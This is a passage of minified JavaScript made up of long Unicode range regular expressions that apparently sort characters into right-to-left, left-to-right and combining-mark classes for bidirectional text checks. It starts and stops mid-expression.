CA\u0DD2-\u0DD4\u0DD6\u0E31\u0E34-\u0E3A\u0E47-\u0E4E\u0EB1\u0EB4-\u0EBC\u0EC8-\u0ECE\u0F18\u0F19\u0F35\u0F37\u0F39\u0F71-\u0F7E\u0F80-\u0F84\u0F86\u0F87\u0F8D-\u0F97\u0F99-\u0FBC\u0FC6\u102D-\u1030\u1032-\u1037\u1039\u103A\u103D\u103E\u1058\u1059\u105E-\u1060\u1071-\u1074\u1082\u1085\u1086\u108D\u109D\u135D-\u135F\u1712-\u1714\u1732\u1733\u1752\u1753\u1772\u1773\u17B4\u17B5\u17B7-\u17BD\u17C6\u17C9-\u17D3\u17DD\u180B-\u180D\u180F\u1885\u1886\u18A9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193B\u1A17\u1A18\u1A1B\u1A56\u1A58-\u1A5E\u1A60\u1A62\u1A65-\u1A6C\u1A73-\u1A7C\u1A7F\u1AB0-\u1ACE\u1B00-\u1B03\u1B34\u1B36-\u1B3A\u1B3C\u1B42\u1B6B-\u1B73\u1B80\u1B81\u1BA2-\u1BA5\u1BA8\u1BA9\u1BAB-\u1BAD\u1BE6\u1BE8\u1BE9\u1BED\u1BEF-\u1BF1\u1C2C-\u1C33\u1C36\u1C37\u1CD0-\u1CD2\u1CD4-\u1CE0\u1CE2-\u1CE8\u1CED\u1CF4\u1CF8\u1CF9\u1DC0-\u1DFF\u200B\u200E\u200F\u202A-\u202E\u2060-\u2064\u206A-\u206F\u20D0-\u20F0\u2CEF-\u2CF1\u2D7F\u2DE0-\u2DFF\u302A-\u302D\u3099\u309A\uA66F-\uA672\uA674-\uA67D\uA69E\uA69F\uA6F0\uA6F1\uA802\uA806\uA80B\uA825\uA826\uA82C\uA8C4\uA8C5\uA8E0-\uA8F1\uA8FF\uA926-\uA92D\uA947-\uA951\uA980-\uA982\uA9B3\uA9B6-\uA9B9\uA9BC\uA9BD\uA9E5\uAA29-\uAA2E\uAA31\uAA32\uAA35\uAA36\uAA43\uAA4C\uAA7C\uAAB0\uAAB2-\uAAB4\uAAB7\uAAB8\uAABE\uAABF\uAAC1\uAAEC\uAAED\uAAF6\uABE5\uABE8\uABED\uFB1E\uFE00-\uFE0F\uFE20-\uFE2F\uFEFF\uFFF9-\uFFFB\u{101FD}\u{102E0}\u{10376}-\u{1037A}\u{10A01}-\u{10A03}\u{10A05}\u{10A06}\u{10A0C}-\u{10A0F}\u{10A38}-\u{10A3A}\u{10A3F}\u{10AE5}\u{10AE6}\u{10D24}-\u{10D27}\u{10D69}-\u{10D6D}\u{10EAB}\u{10EAC}\u{10EFC}-\u{10EFF}\u{10F46}-\u{10F50}\u{10F82}-\u{10F85}\u{11001}\u{11038}-\u{11046}\u{11070}\u{11073}\u{11074}\u{1107F}-\u{11081}\u{110B3}-\u{110B6}\u{110B9}\u{110BA}\u{110C2}\u{11100}-\u{11102}\u{11127}-\u{1112B}\u{1112D}-\u{11134}\u{11173}\u{11180}\u{11181}\u{111B6}-\u{111BE}\u{111C9}-\u{111CC}\u{111CF}\u{1122F}-\u{11231}\u{11234}\u{11236}\u{11237}\u{1123E}\u{11241}\u{112DF}\u{112E3}-\u{112EA}\u{11300}\u{11301}\u{1133B}\u{1133C}\u{11340}\u{11366}-\u{1136C}\u{11370}-\u{11374}\u{113BB}-\u{113C0}\u{113CE}\u{113D0}\u{113D2}\u{113E1}\u{113E2}\u{11438}-\u{1143F}\u{11442}-\u{11444}\u{11446}\u{1145E}\u{114B3}-\u{114B8}\u{114BA}\u{114BF}\u{114C0}\u{114C2}\u{114C3}\u{115B2}-\u{115B5}\u{115BC}\u{115BD}\u{115BF}\u{115C0}\u{115DC}\u{115DD}\u{11633}-\u{1163A}\u{1163D}\u{1163F}\u{11640}\u{116AB}\u{116AD}\u{116B0}-\u{116B5}\u{116B7}\u{1171D}\u{1171F}\u{11722}-\u{11725}\u{11727}-\u{1172B}\u{1182F}-\u{11837}\u{11839}\u{1183A}\u{1193B}\u{1193C}\u{1193E}\u{11943}\u{119D4}-\u{119D7}\u{119DA}\u{119DB}\u{119E0}\u{11A01}-\u{11A0A}\u{11A33}-\u{11A38}\u{11A3B}-\u{11A3E}\u{11A47}\u{11A51}-\u{11A56}\u{11A59}-\u{11A5B}\u{11A8A}-\u{11A96}\u{11A98}\u{11A99}\u{11C30}-\u{11C36}\u{11C38}-\u{11C3D}\u{11C3F}\u{11C92}-\u{11CA7}\u{11CAA}-\u{11CB0}\u{11CB2}\u{11CB3}\u{11CB5}\u{11CB6}\u{11D31}-\u{11D36}\u{11D3A}\u{11D3C}\u{11D3D}\u{11D3F}-\u{11D45}\u{11D47}\u{11D90}\u{11D91}\u{11D95}\u{11D97}\u{11EF3}\u{11EF4}\u{11F00}\u{11F01}\u{11F36}-\u{11F3A}\u{11F40}\u{11F42}\u{11F5A}\u{13430}-\u{13440}\u{13447}-\u{13455}\u{1611E}-\u{16129}\u{1612D}-\u{1612F}\u{16AF0}-\u{16AF4}\u{16B30}-\u{16B36}\u{16F4F}\u{16F8F}-\u{16F92}\u{16FE4}\u{1BC9D}\u{1BC9E}\u{1BCA0}-\u{1BCA3}\u{1CF00}-\u{1CF2D}\u{1CF30}-\u{1CF46}\u{1D167}-\u{1D169}\u{1D173}-\u{1D182}\u{1D185}-\u{1D18B}\u{1D1AA}-\u{1D1AD}\u{1D242}-\u{1D244}\u{1DA00}-\u{1DA36}\u{1DA3B}-\u{1DA6C}\u{1DA75}\u{1DA84}\u{1DA9B}-\u{1DA9F}\u{1DAA1}-\u{1DAAF}\u{1E000}-\u{1E006}\u{1E008}-\u{1E018}\u{1E01B}-\u{1E021}\u{1E023}\u{1E024}\u{1E026}-\u{1E02A}\u{1E08F}\u{1E130}-\u{1E136}\u{1E2AE}\u{1E2EC}-\u{1E2EF}\u{1E4EC}-\u{1E4EF}\u{1E5EE}\u{1E5EF}\u{1E8D0}-\u{1E8D6}\u{1E944}-\u{1E94B}\u{E0001}\u{E0020}-\u{E007F}\u{E0100}-\u{E01EF}]*[\u0620\u0622-\u063F\u0641-\u064A\u066E\u066F\u0671-\u0673\u0675-\u06D3\u06D5\u06EE\u06EF\u06FA-\u06FC\u06FF\u0710\u0712-\u072F\u074D-\u077F\u07CA-\u07EA\u0840-\u0858\u0860\u0862-\u0865\u0867-\u086A\u0870-\u0882\u0886\u0889-\u088E\u08A0-\u08AC\u08AE-\u08C8\u1807\u1820-\u1878\u1887-\u18A8\u18AA\uA840-\uA871\u{10AC0}-\u{10AC5}\u{10AC7}\u{10AC9}\u{10ACA}\u{10ACE}-\u{10AD6}\u{10AD8}-\u{10AE1}\u{10AE4}\u{10AEB}-\u{10AEF}\u{10B80}-\u{10B91}\u{10BA9}-\u{10BAE}\u{10D01}-\u{10D23}\u{10EC2}-\u{10EC4}\u{10F30}-\u{10F44}\u{10F51}-\u{10F54}\u{10F70}-\u{10F81}\u{10FB0}\u{10FB2}-\u{10FB6}\u{10FB8}-\u{10FBF}\u{10FC1}-\u{10FC4}\u{10FC9}\u{10FCA}\u{1E900}-\u{1E943}]/u,wi9=/[\u05BE\u05C0\u05C3\u05C6\u05D0-\u05EA\u05EF-\u05F4\u0600-\u0605\u0608\u060B\u060D\u061B-\u064A\u0660-\u0669\u066B-\u066F\u0671-\u06D5\u06DD\u06E5\u06E6\u06EE\u06EF\u06FA-\u070D\u070F\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07C0-\u07EA\u07F4\u07F5\u07FA\u07FE-\u0815\u081A\u0824\u0828\u0830-\u083E\u0840-\u0858\u085E\u0860-\u086A\u0870-\u088E\u0890\u0891\u08A0-\u08C9\u08E2\u200F\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBC2\uFBD3-\uFD3D\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFC\uFE70-\uFE74\uFE76-\uFEFC\u{10800}-\u{10805}\u{10808}\u{1080A}-\u{10835}\u{10837}\u{10838}\u{1083C}\u{1083F}-\u{10855}\u{10857}-\u{1089E}\u{108A7}-\u{108AF}\u{108E0}-\u{108F2}\u{108F4}\u{108F5}\u{108FB}-\u{1091B}\u{10920}-\u{10939}\u{1093F}\u{10980}-\u{109B7}\u{109BC}-\u{109CF}\u{109D2}-\u{10A00}\u{10A10}-\u{10A13}\u{10A15}-\u{10A17}\u{10A19}-\u{10A35}\u{10A40}-\u{10A48}\u{10A50}-\u{10A58}\u{10A60}-\u{10A9F}\u{10AC0}-\u{10AE4}\u{10AEB}-\u{10AF6}\u{10B00}-\u{10B35}\u{10B40}-\u{10B55}\u{10B58}-\u{10B72}\u{10B78}-\u{10B91}\u{10B99}-\u{10B9C}\u{10BA9}-\u{10BAF}\u{10C00}-\u{10C48}\u{10C80}-\u{10CB2}\u{10CC0}-\u{10CF2}\u{10CFA}-\u{10D23}\u{10D30}-\u{10D39}\u{10D40}-\u{10D65}\u{10D6F}-\u{10D85}\u{10D8E}\u{10D8F}\u{10E60}-\u{10E7E}\u{10E80}-\u{10EA9}\u{10EAD}\u{10EB0}\u{10EB1}\u{10EC2}-\u{10EC4}\u{10F00}-\u{10F27}\u{10F30}-\u{10F45}\u{10F51}-\u{10F59}\u{10F70}-\u{10F81}\u{10F86}-\u{10F89}\u{10FB0}-\u{10FCB}\u{10FE0}-\u{10FF6}\u{1E800}-\u{1E8C4}\u{1E8C7}-\u{1E8CF}\u{1E900}-\u{1E943}\u{1E94B}\u{1E950}-\u{1E959}\u{1E95E}\u{1E95F}\u{1EC71}-\u{1ECB4}\u{1ED01}-\u{1ED3D}\u{1EE00}-\u{1EE03}\u{1EE05}-\u{1EE1F}\u{1EE21}\u{1EE22}\u{1EE24}\u{1EE27}\u{1EE29}-\u{1EE32}\u{1EE34}-\u{1EE37}\u{1EE39}\u{1EE3B}\u{1EE42}\u{1EE47}\u{1EE49}\u{1EE4B}\u{1EE4D}-\u{1EE4F}\u{1EE51}\u{1EE52}\u{1EE54}\u{1EE57}\u{1EE59}\u{1EE5B}\u{1EE5D}\u{1EE5F}\u{1EE61}\u{1EE62}\u{1EE64}\u{1EE67}-\u{1EE6A}\u{1EE6C}-\u{1EE72}\u{1EE74}-\u{1EE77}\u{1EE79}-\u{1EE7C}\u{1EE7E}\u{1EE80}-\u{1EE89}\u{1EE8B}-\u{1EE9B}\u{1EEA1}-\u{1EEA3}\u{1EEA5}-\u{1EEA9}\u{1EEAB}-\u{1EEBB}]/u,Hi9=/[A-Za-z\xAA\xB5\xBA\xC0-\xD6\xD8-\xF6\xF8-\u02B8\u02BB-\u02C1\u02D0\u02D1\u02E0-\u02E4\u02EE\u0370-\u0373\u0376\u0377\u037A-\u037D\u037F\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5\u03F7-\u0482\u048A-\u052F\u0531-\u0556\u0559-\u0589\u0903-\u0939\u093B\u093D-\u0940\u0949-\u094C\u094E-\u0950\u0958-\u0961\u0964-\u0980\u0982\u0983\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BD-\u09C0\u09C7\u09C8\u09CB\u09CC\u09CE\u09D7\u09DC\u09DD\u09DF-\u09E1\u09E6-\u09F1\u09F4-\u09FA\u09FC\u09FD\u0A03\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A3E-\u0A40\u0A59-\u0A5C\u0A5E\u0A66-\u0A6F\u0A72-\u0A74\u0A76\u0A83\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD-\u0AC0\u0AC9\u0ACB\u0ACC\u0AD0\u0AE0\u0AE1\u0AE6-\u0AF0\u0AF9\u0B02\u0B03\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B3E\u0B40\u0B47\u0B48\u0B4B\u0B4C\u0B57\u0B5C\u0B5D\u0B5F-\u0B61\u0B66-\u0B77\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BBE\u0BBF\u0BC1\u0BC2\u0BC6-\u0BC8\u0BCA-\u0BCC\u0BD0\u0BD7\u0BE6-\u0BF2\u0C01-\u0C03\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C39\u0C3D\u0C41-\u0C44\u0C58-\u0C5A\u0C5D\u0C60\u0C61\u0C66-\u0C6F\u0C77\u0C7F\u0C80\u0C82-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBD-\u0CC4\u0CC6-\u0CC8\u0CCA\u0CCB\u0CD5\u0CD6\u0CDD\u0CDE\u0CE0\u0CE1\u0CE6-\u0CEF\u0CF1-\u0CF3\u0D02-\u0D0C\u0D0E-\u0D10\u0D12-\u0D3A\u0D3D-\u0D40\u0D46-\u0D48\u0D4A-\u0D4C\u0D4E\u0D4F\u0D54-\u0D61\u0D66-\u0D7F\u0D82\u0D83\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0DCF-\u0DD1\u0DD8-\u0DDF\u0DE6-\u0DEF\u0DF2-\u0DF4\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E4F-\u0E5B\u0E81\u0E82\u0E84\u0E86-\u0E8A\u0E8C-\u0EA3\u0EA5\u0EA7-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6\u0ED0-\u0ED9\u0EDC-\u0EDF\u0F00-\u0F17\u0F1A-\u0F34\u0F36\u0F38\u0F3E-\u0F47\u0F49-\u0F6C\u0F7F\u0F85\u0F88-\u0F8C\u0FBE-\u0FC5\u0FC7-\u0FCC\u0FCE-\u0FDA\u1000-\u102C\u1031\u1038\u103B\u103C\u103F-\u1057\u105A-\u105D\u1061-\u1070\u1075-\u1081\u1083\u1084\u1087-\u108C\u108E-\u109C\u109E-\u10C5\u10C7\u10CD\u10D0-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u1360-\u137C\u1380-\u138F\u13A0-\u13F5\u13F8-\u13FD\u1401-\u167F\u1681-\u169A\u16A0-\u16F8\u1700-\u1711\u1715\u171F-\u1731\u1734-\u1736\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17B6\u17BE-\u17C5\u17C7\u17C8\u17D4-\u17DA\u17DC\u17E0-\u17E9\u1810-\u1819\u1820-\u1878\u1880-\u1884\u1887-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191E\u1923-\u1926\u1929-\u192B\u1930\u1931\u1933-\u1938\u1946-\u196D\u1970-\u1974\u1980-\u19AB\u19B0-\u19C9\u19D0-\u19DA\u1A00-\u1A16\u1A19\u1A1A\u1A1E-\u1A55\u1A57\u1A61\u1A63\u1A64\u1A6D-\u1A72\u1A80-\u1A89\u1A90-\u1A99\u1AA0-\u1AAD\u1B04-\u1B33\u1B35\u1B3B\u1B3D-\u1B41\u1B43-\u1B4C\u1B4E-\u1B6A\u1B74-\u1B7F\u1B82-\u1BA1\u1BA6\u1BA7\u1BAA\u1BAE-\u1BE5\u1BE7\u1BEA-\u1BEC\u1BEE\u1BF2\u1BF3\u1BFC-\u1C2B\u1C34\u1C35\u1C3B-\u1C49\u1C4D-\u1C8A\u1C90-\u1CBA\u1CBD-\u1CC7\u1CD3\u1CE1\u1CE9-\u1CEC\u1CEE-\u1CF3\u1CF5-\u1CF7\u1CFA\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u200E\u2071\u207F\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2119-\u211D\u2124\u2126\u2128\u212A-\u212D\u212F-\u2139\u213C-\u213F\u2145-\u2149\u214E\u214F\u2160-\u2188\u2336-\u237A\u2395\u249C-\u24E9\u26AC\u2800-\u28FF\u2C00-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D70\u2D80-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u3005-\u3007\u3021-\u3029\u302E\u302F\u3031-\u3035\u3038-\u303C\u3041-\u3096\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312F\u3131-\u318E\u3190-\u31BF\u31F0-\u321C\u3220-\u324F\u3260-\u327B\u327F-\u32B0\u32C0-\u32CB\u32D0-\u3376\u337B-\u33DD\u33E0-\u33FE\u3400-\u4DBF\u4E00-\uA48C\uA4D0-\uA60C\uA610-\uA62B\uA640-\uA66E\uA680-\uA69D\uA6A0-\uA6EF\uA6F2-\uA6F7\uA722-\uA787\uA789-\uA7CD\uA7D0\uA7D1\uA7D3\uA7D5-\uA7DC\uA7F2-\uA801\uA803-\uA805\uA807-\uA80A\uA80C-\uA824\uA827\uA830-\uA837\uA840-\uA873\uA880-\uA8C3\uA8CE-\uA8D9\uA8F2-\uA8FE\uA900-\uA925\uA92E-\uA946\uA952\uA953\uA95F-\uA97C\uA983-\uA9B2\uA9B4\uA9B5\uA9BA\uA9BB\uA9BE-\uA9CD\uA9CF-\uA9D9\uA9DE-\uA9E4\uA9E6-\uA9FE\uAA00-\uAA28\uAA2F\uAA30\uAA33\uAA34\uAA40-\uAA42\uAA44-\uAA4B\uAA4D\uAA50-\uAA59\uAA5C-\uAA7B\uAA7D-\uAAAF\uAAB1\uAAB5\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAAEB\uAAEE-\uAAF5\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uAB30-\uAB69\uAB70-\uABE4\uABE6\uABE7\uABE9-\uABEC\uABF0-\uABF9\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uD800-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC\u{10000}-\u{1000B}\u{1000D}-\u{10026}\u{10028}-\u{1003A}\u{1003C}\u{1003D}\u{1003F}-\u{1004D}\u{10050}-\u{1005D}\u{10080}-\u{100FA}\u{10100}\u{10102}\u{10107}-\u{10133}\u{10137}-\u{1013F}\u{1018D}\u{1018E}\u{101D0}-\u{101FC}\u{10280}-\u{1029C}\u{102A0}-\u{102D0}\u{10300}-\u{10323}\u{1032D}-\u{1034A}\u{10350}-\u{10375}\u{10380}-\u{1039D}\u{1039F}-\u{103C3}\u{103C8}-\u{103D5}\u{10400}-\u{1049D}\u{104A0}-\u{104A9}\u{104B0}-\u{104D3}\u{104D8}-\u{104FB}\u{10500}-\u{10527}\u{10530}-\u{10563}\u{1056F}-\u{1057A}\u{1057C}-\u{1058A}\u{1058C}-\u{10592}\u{10594}\u{10595}\u{10597}-\u{105A1}\u{105A3}-\u{105B1}\u{105B3}-\u{105B9}\u{105BB}\u{105BC}\u{105C0}-\u{105F3}\u{10600}-\u{10736}\u{10740}-\u{10755}\u{10760}-\u{10767}\u{10780}-\u{10785}\u{10787}-\u{107B0}\u{107B2}-\u{107BA}\u{11000}\u{11002}-\u{11037}\u{11047}-\u{1104D}\u{11066}-\u{1106F}\u{11071}\u{11072}\u{11075}\u{11082}-\u{110B2}\u{110B7}\u{110B8}\u{110BB}-\u{110C1}\u{110CD}\u{110D0}-\u{110E8}\u{110F0}-\u{110F9}\u{11103}-\u{11126}\u{1112C}\u{11136}-\u{11147}\u{11150}-\u{11172}\u{11174}-\u{11176}\u{11182}-\u{111B5}\u{111BF}-\u{111C8}\u{111CD}\u{111CE}\u{111D0}-\u{111DF}\u{111E1}-\u{111F4}\u{11200}-\u{11211}\u{11213}-\u{1122E}\u{11232}\u{11233}\u{11235}\u{11238}-\u{1123D}\u{1123F}\u{11240}\u{11280}-\u{11286}\u{11288}\u{1128A}-\u{1128D}\u{1128F}-\u{1129D}\u{1129F}-\u{112A9}\u{112B0}-\u{112DE}\u{112E0}-\u{112E2}\u{112F0}-\u{112F9}\u{11302}\u{11303}\u{11305}-\u{1130C}\u{1130F}\u{11310}\u{11313}-\u{11328}\u{1132A}-\u{11330}\u{11332}\u{11333}\u{11335}-\u{11339}\u{1133D}-\u{1133F}\u{11341}-\u{11344}\u{11347}\u{11348}\u{1134B}-\u{1134D}\u{11350}\u{11357}\u{1135D}-\u{11363}\u{11380}-\u{11389}\u{1138B}\u{1138E}\u{11390}-\u{113B5}\u{113B7}-\u{113BA}\u{113C2}\u{113C5}\u{113C7}-\u{113CA}\u{113CC}\u{113CD}\u{113CF}\u{113D1}\u{113D3}-\u{113D5}\u{113D7}\u{113D8}\u{11400}-\u{11437}\u{11440}\u{11441}\u{11445}\u{11447}-\u{1145B}\u{1145D}\u{1145F}-\u{11461}\u{11480}-\u{114B2}\u{114B9}\u{114BB}-\u{114BE}\u{114C1}\u{114C4}-\u{114C7}\u{114D0}-\u{114D9}\u{11580}-\u{115B1}\u{115B8}-\u{115BB}\u{115BE}\u{115C1}-\u{115DB}\u{11600}-\u{11632}\u{1163B}\u{1163C}\u{1163E}\u{11641}-\u{11644}\u{11650}-\u{11659}\u{11680}-\u{116AA}\u{116AC}\u{116AE}\u{116AF}\u{116B6}\u{116B8}\u{116B9}\u{116C0}-\u{116C9}\u{116D0}-\u{116E3}\u{11700}-\u{1171A}\u{1171E}\u{11720}\u{11721}\u{11726}\u{11730}-\u{11746}\u{11800}-\u{1182E}\u{11838}\u{1183B}\u{118A0}-\u{118F2}\u{118FF}-\u{11906}\u{11909}\u{1190C}-\u{11913}\u{11915}\u{11916}\u{11918}-\u{11935}\u{11937}\u{11938}\u{1193D}\u{1193F}-\u{11942}\u{11944}-\u{11946}\u{11950}-\u{11959}\u{119A0}-\u{119A7}\u{119AA}-\u{119D3}\u{119DC}-\u{119DF}\u{119E1}-\u{119E4}\u{11A00}\u{11A07}\u{11A08}\u{11A0B}-\u{11A32}\u{11A39}\u{11A3A}\u{11A3F}-\u{11A46}\u{11A50}\u{11A57}\u{11A58}\u{11A5C}-\u{11A89}\u{11A97}\u{11A9A}-\u{11AA2}\u{11AB0}-\u{11AF8}\u{11B00}-\u{11B09}\u{11BC0}-\u{11BE1}\u{11BF0}-\u{11BF9}\u{11C00}-\u{11C08}\u{11C0A}-\u{11C2F}\u{11C3E}-\u{11C45}\u{11C50}-\u{11C6C}\u{11C70}-\u{11C8F}\u{11CA9}\u{11CB1}\u{11CB4}\u{11D00}-\u{11D06}\u{11D08}\u{11D09}\u{11D0B}-\u{11D30}\u{11D46}\u{11D50}-\u{11D59}\u{11D60}-\u{11D65}\u{11D67}\u{11D68}\u{11D6A}-\u{11D8E}\u{11D93}\u{11D94}\u{11D96}\u{11D98}\u{11DA0}-\u{11DA9}\u{11EE0}-\u{11EF2}\u{11EF5}-\u{11EF8}\u{11F02}-\u{11F10}\u{11F12}-\u{11F35}\u{11F3E}\u{11F3F}\u{11F41}\u{11F43}-\u{11F59}\u{11FB0}\u{11FC0}-\u{11FD4}\u{11FFF}-\u{12399}\u{12400}-\u{1246E}\u{12470}-\u{12474}\u{12480}-\u{12543}\u{12F90}-\u{12FF2}\u{13000}-\u{1343F}\u{13441}-\u{13446}\u{13460}-\u{143FA}\u{14400}-\u{14646}\u{16100}-\u{1611D}\u{1612A}-\u{1612C}\u{16130}-\u{16139}\u{16800}-\u{16A38}\u{16A40}-\u{16A5E}\u{16A60}-\u{16A69}\u{16A6E}-\u{16ABE}\u{16AC0}-\u{16AC9}\u{16AD0}-\u{16AED}\u{16AF5}\u{16B00}-\u{16B2F}\u{16B37}-\u{16B45}\u{16B50}-\u{16B59}\u{16B5B}-\u{16B61}\u{16B63}-\u{16B77}\u{16B7D}-\u{16B8F}\u{16D40}-\u{16D79}\u{16E40}-\u{16E9A}\u{16F00}-\u{16F4A}\u{16F50}-\u{16F87}\u{16F93}-\u{16F9F}\u{16FE0}\u{16FE1}\u{16FE3}\u{16FF0}\u{16FF1}\u{17000}-\u{187F7}\u{18800}-\u{18CD5}\u{18CFF}-\u{18D08}\u{1AFF0}-\u{1AFF3}\u{1AFF5}-\u{1AFFB}\u{1AFFD}\u{1AFFE}\u{1B000}-\u{1B122}\u{1B132}\u{1B150}-\u{1B152}\u{1B155}\u{1B164}-\u{1B167}\u{1B170}-\u{1B2FB}\u{1BC00}-\u{1BC6A}\u{1BC70}-\u{1BC7C}\u{1BC80}-\u{1BC88}\u{1BC90}-\u{1BC99}\u{1BC9C}\u{1BC9F}\u{1CCD6}-\u{1CCEF}\u{1CF50}-\u{1CFC3}\u{1D000}-\u{1D0F5}\u{1D100}-\u{1D126}\u{1D129}-\u{1D166}\u{1D16A}-\u{1D172}\u{1D183}\u{1D184}\u{1D18C}-\u{1D1A9}\u{1D1AE}-\u{1D1E8}\u{1D2C0}-\u{1D2D3}\u{1D2E0}-\u{1D2F3}\u{1D360}-\u{1D378}\u{1D400}-\u{1D454}\u{1D456}-\u{1D49C}\u{1D49E}\u{1D49F}\u{1D4A2}\u{1D4A5}\u{1D4A6}\u{1D4A9}-\u{1D4AC}\u{1D4AE}-\u{1D4B9}\u{1D4BB}\u{1D4BD}-\u{1D4C3}\u{1D4C5}-\u{1D505}\u{1D507}-\u{1D50A}\u{1D50D}-\u{1D514}\u{1D516}-\u{1D51C}\u{1D51E}-\u{1D539}\u{1D53B}-\u{1D53E}\u{1D540}-\u{1D544}\u{1D546}\u{1D54A}-\u{1D550}\u{1D552}-\u{1D6A5}\u{1D6A8}-\u{1D6C0}\u{1D6C2}-\u{1D6DA}\u{1D6DC}-\u{1D6FA}\u{1D6FC}-\u{1D714}\u{1D716}-\u{1D734}\u{1D736}-\u{1D74E}\u{1D750}-\u{1D76E}\u{1D770}-\u{1D788}\u{1D78A}-\u{1D7A8}\u{1D7AA}-\u{1D7C2}\u{1D7C4}-\u{1D7CB}\u{1D800}-\u{1D9FF}\u{1DA37}-\u{1DA3A}\u{1DA6D}-\u{1DA74}\u{1DA76}-\u{1DA83}\u{1DA85}-\u{1DA8B}\u{1DF00}-\u{1DF1E}\u{1DF25}-\u{1DF2A}\u{1E030}-\u{1E06D}\u{1E100}-\u{1E12C}\u{1E137}-\u{1E13D}\u{1E140}-\u{1E149}\u{1E14E}\u{1E14F}\u{1E290}-\u{1E2AD}\u{1E2C0}-\u{1E2EB}\u{1E2F0}-\u{1E2F9}\u{1E4D0}-\u{1E4EB}\u{1E4F0}-\u{1E4F9}\u{1E5D0}-\u{1E5ED}\u{1E5F0}-\u{1E5FA}\u{1E5FF}\u{1E7E0}-\u{1E7E6}\u{1E7E8}-\u{1E7EB}\u{1E7ED}\u{1E7EE}\u{1E7F0}-\u{1E7FE}\u{1F110}-\u{1F12E}\u{1F130}-\u{1F169}\u{1F170}-\u{1F1AC}\u{1F1E6}-\u{1F202}\u{1F210}-\u{1F23B}\u{1F240}-\u{1F248}\u{1F250}\u{1F251}\u{20000}-\u{2A6DF}\u{2A700}-\u{2B739}\u{2B740}-\u{2B81D}\u{2B820}-\u{2CEA1}\u{2CEB0}-\u{2EBE0}\u{2EBF0}-\u{2EE5D}\u{2F800}-\u{2FA1D}\u{30000}-\u{3134A}\u{31350}-\u{323AF}\u{F0000}-\u{FFFFD}\u{100000}-\u{10FFFD}]/u,Ji9=/[\u05BE\u05C0\u05C3\u05C6\u05D0-\u05EA\u05EF-\u05F4\u0608\u060B\u060D\u061B-\u064A\u066D-\u066F\u0671-\u06D5\u06E5\u06E6\u06EE\u06EF\u06FA-\u070D\u070F\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07C0-\u07EA\u07F4\u07F5\u07FA\u07FE-\u0815\u081A\u0824\u0828\u0830-\u083E\u0840-\u0858\u085E\u0860-\u086A\u0870-\u088E\u08A0-\u08C9\u200F\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBC2\uFBD3-\uFD3D\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFC\uFE70-\uFE74\uFE76-\uFEFC\u{10800}-\u{10805}\u{10808}\u{1080A}-\u{10835}\u{10837}\u{10838}\u{1083C}\u{1083F}-\u{10855}\u{10857}-\u{1089E}\u{108A7}-\u{108AF}\u{108E0}-\u{108F2}\u{108F4}\u{108F5}\u{108FB}-\u{1091B}\u{10920}-\u{10939}\u{1093F}\u{10980}-\u{109B7}\u{109BC}-\u{109CF}\u{109D2}-\u{10A00}\u{10A10}-\u{10A13